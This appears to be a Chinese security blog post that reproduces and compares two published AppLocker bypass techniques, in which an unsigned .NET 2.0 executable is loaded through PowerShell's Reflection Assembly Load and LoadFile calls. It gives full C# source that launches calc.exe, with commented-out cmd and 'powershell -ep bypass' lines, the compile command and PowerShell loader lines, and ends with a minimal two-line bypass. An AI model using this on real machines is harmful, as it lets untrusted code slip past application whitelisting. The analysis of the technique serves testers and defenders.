利用 Assembly Load & LoadFile 绕过 Applocker 的分析总结

发布于 2024-11-25 12:11:12 字数 5708 浏览 12 评论 0

0x00 前言

最近 bohops 在文章 《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》 中介绍了利用 CL_LoadAssembly.ps1 绕过 Applocker 的方法,Casey Smith 早在 SchmooCon 2015 也提到了这个方法。本文将要对他们的两个实现方法进行复现,分析细节,比较区别,进而总结利用思路。

0x01 简介

本文将要介绍以下内容:

  • 复现 bohops 的方法
  • 复现 Casey Smith 的方法
  • 细节分析
  • 总结利用思路

0x02 复现 bohops 的方法

测试系统: Win7 x86

开启 Applocker,开启方法可参考文章《Bypass Windows AppLocker》

开发工具: VS2012

1、新建 c#控制台工程 ConsoleApplication5,默认代码如下:

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication5
{
    class Program
    {
        static void Main(string[] args)
        {
        }
    }
}

2、修改代码,内容如下:

namespace ConsoleApplication5
{
    public class Program
    {
        public static void test()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
//            p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
//            p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c $host";   
            p.Start();
        }
        static void Main(string[] args)
        {
            test();
        }

    }
}

注:class Program 前需要添加访问修饰符 public ,添加 Method test() 同样要加访问修饰符 public

3、修改目标框架为.net 2.0,编译生成 ConsoleApplication5,保存在 c:\6 下

4、powershell 执行如下代码:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\ConsoleApplication5.exe
[ConsoleApplication5.Program]::test()

注:..\..\..\..\ 能够定位到 c:\

[ConsoleApplication5.Program]::test() 需要同程序内的代码对应,格式为: [$namespace.$class]::$fuction()

成功执行 calc.exe,绕过 applocker

0x03 复现 Casey Smith 的方法

测试系统: Win7 x86

开启 Applocker

代码参考地址:https://gist.github.com/netbiosX/5f19a3e8762b6e3fd25782d8c37b1663

本次测试对 Casey Smith 的代码做细微修改

1、新建文件 bypass.cs,内容如下:

using System;
using System.Collections.Generic;
using System.Text;

public class Program
{
    public static void Main()
    {
        Console.WriteLine("Hey There From Main()");
        //Add any behaviour here to throw off sandbox execution/analysts :)

    }

}
public class aaa
 {
        public static void bbb()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
//            p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
//            p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c notepad.exe";   
            p.Start();
        }
}

2、使用 2.0 版本的 csc.exe 对其编译,生成 exe 文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /unsafe /platform:x86 /out:bypass.exe bypass.cs

3、powershell 执行如下代码:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

成功执行 calc.exe,绕过 applocker

0x04 对比分析

1、bohops 的方法

加载文件 CL_LoadAssembly.ps1,位于 C:\windows\diagnostics\system\AERO

文件 CL_LoadAssembly.ps1 内容如下:

# Copyright © 2008, Microsoft Corporation. All rights reserved.


# Common library
. .\CL_Utility.ps1

function LoadAssemblyFromNS([string]$namespace)
{
    if([string]::IsNullorEmpty($namespace))
    {
        throw "Invalid namespace"
    }

    [System.Reflection.Assembly]::LoadWithPartialName($namespace) > $null
}

function LoadAssemblyFromPath([string]$scriptPath)
{
    if([String]::IsNullorEmpty($scriptPath))
    {
        throw "Invalid file path"
    }

    $absolutePath = GetAbsolutionPath $scriptPath


[System.Reflection.Assembly]::LoadFile($absolutePath) > $null
}

调用函数 LoadAssemblyFromPath ,本质上是调用 [System.Reflection.Assembly]::LoadFile($absolutePath)

2、Casey Smith 的方法

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

调用了 [Reflection.Assembly]::Load($bytes)

注:[Reflection.Assembly][System.Reflection.Assembly] 的简写

3、对比

两种方法分别使用了 Assembly 的 LoadFile 和 Load 方法,两者的区别在这里的影响微乎其微

可以分别使用 LoadFile 和 Load 方法去调用以上两种方法生成的两个 exe(分别由 vs2012 和 csc.exe 编译)

互换后的代码如下:

$bytes = [System.IO.File]::ReadAllBytes("C:\6\ConsoleApplication5.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication5.Program]::test()
cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe
[aaa]::bbb()

经过以上测试,可以推断如下两段代码等价:

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe
[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")

依照以上推断,我们可以对 Casey Smith 的利用代码进行精简,最短的 powershell 实现代码如下:

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")
[aaa]::bbb()

4、适用条件

实际测试,以上两种方法适用.net 2.0,如果换成.net 4.0 编译,在执行时会报错

0x05 小结

本文分别对 bohops 和 Casey Smith 的方法做了测试,找到方法的本质是分别使用了 Assembly 的 LoadFile 和 Load 方法。经实际测试,得出该方法只适用于.Net 2.0 环境。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

素衣风尘叹

暂无简介

文章
评论
28 人气
更多

推荐作者

15077827184

文章 0 评论 0

遗失的美好

文章 0 评论 0

离不开的别离

文章 0 评论 0

3857621955

文章 0 评论 0

懒猫

文章 0 评论 0

洋洋洒洒

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文